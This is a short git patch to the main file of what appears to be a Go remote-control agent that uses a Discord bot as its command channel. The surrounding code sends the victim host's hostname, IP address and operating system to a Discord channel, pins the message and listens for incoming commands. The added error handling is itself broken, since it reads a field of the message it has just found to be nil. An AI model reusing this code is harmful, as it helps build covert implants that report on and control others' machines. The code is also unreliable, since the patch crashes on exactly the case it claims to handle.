From 7e6680d4c8b5e84a5b90448dbbe3b69d75f6a675 Mon Sep 17 00:00:00 2001 From: kc0sm0s Date: Sun, 7 May 2023 16:35:00 -0400 Subject: [PATCH] added error handling to inital ChanelMessageSend --- cmd/agent/main.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cmd/agent/main.go b/cmd/agent/main.go index 3fbf748..d6a7271 100644 --- a/cmd/agent/main.go +++ b/cmd/agent/main.go @@ -61,6 +61,12 @@ func main() { sendMessage := "``` Hostname: " + newAgent.HostName + "\n IP:" + newAgent.IP + "\n OS:" + newAgent.OS + "```" message, _ := dg.ChannelMessageSend(channelID.ID, sendMessage) + //Handle if message is empty and/or bot doesn't have read permission + if message == nil { + fmt.Println("Message is empty! Check to see if Discord bot has proper channel read permissions!") + dg.ChannelMessageSend(message.ChannelID, "Message is empty! Check to see if Discord bot has proper channel read permissions!") + return + } dg.ChannelMessagePin(channelID.ID, message.ID) dg.AddHandler(messageCreater)